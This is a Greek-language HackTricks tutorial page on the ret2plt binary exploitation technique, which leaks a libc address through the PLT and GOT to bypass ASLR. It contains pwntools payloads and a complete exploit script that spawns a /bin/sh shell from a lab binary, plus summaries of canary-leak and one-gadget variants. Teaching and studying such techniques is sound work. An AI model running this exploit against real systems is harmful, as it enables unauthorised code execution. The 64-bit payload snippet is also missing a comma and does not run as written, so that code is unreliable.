Ret2plt

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Ο στόχος αυτής της τεχνικής θα ήταν να διαρρεύσετε μια διεύθυνση από μια συνάρτηση από το PLT για να μπορέσετε να παρακάμψετε το ASLR. Αυτό συμβαίνει επειδή αν, για παράδειγμα, διαρρεύσετε τη διεύθυνση της συνάρτησης puts από την βιβλιοθήκη libc, τότε μπορείτε στη συνέχεια να υπολογίσετε πού βρίσκεται η βάση της libc και να υπολογίσετε τις μετατοπίσεις για να έχετε πρόσβαση σε άλλες συναρτήσεις όπως η system.

Αυτό μπορεί να γίνει με ένα φορτωτή pwntools όπως (από εδώ):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Σημειώστε πώς η puts (χρησιμοποιώντας τη διεύθυνση από το PLT) καλείται με τη διεύθυνση του puts που βρίσκεται στο GOT (Global Offset Table). Αυτό συμβαίνει επειδή μέχρι τη στιγμή που η puts εκτυπώνει την καταχώρηση του GOT του puts, αυτή η καταχώρηση θα περιέχει την ακριβή διεύθυνση του puts στη μνήμη.

Επίσης, σημειώστε πώς η διεύθυνση του main χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν η puts ολοκληρώσει την εκτέλεσή της, το δυαδικό καλεί ξανά το main αντί να τερματίσει (έτσι η διέρρευση της διεύθυνσης θα παραμείνει έγκυρη).

Σημειώστε πώς για να λειτουργήσει αυτό, το δυαδικό δεν μπορεί να έχει μεταγλωττιστεί με PIE ή πρέπει να έχετε βρει μια διαρροή για να παρακάμψετε το PIE ώστε να γνωρίζετε τη διεύθυνση του PLT, GOT και main. Διαφορετικά, πρέπει πρώτα να παρακάμψετε το PIE.

Μπορείτε να βρείτε ένα πλήρες παράδειγμα αυτής της παράκαμψης εδώ. Αυτή ήταν η τελική εκμετάλλευση από αυτό το παράδειγμα:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Άλλα παραδείγματα & Αναφορές

  • 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε ένα υπερχείλισμα μέχρι το byte 0x00 του canary και στη συνέχεια να καλέσετε την puts για να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσετε την puts και να διαρρεύσετε τη διεύθυνση της puts από το GOT και ένα ROP gadget για να καλέσετε system('/bin/sh')

  • 64 bits, ενεργοποιημένο ASLR, χωρίς canary, υπερχείλιση στη στοίβα στη main από μια υπο-συνάρτηση. ROP gadget για να καλέσετε την puts και να διαρρεύσετε τη διεύθυνση της puts από το GOT και στη συνέχεια να καλέσετε ένα one gadget.

Last updated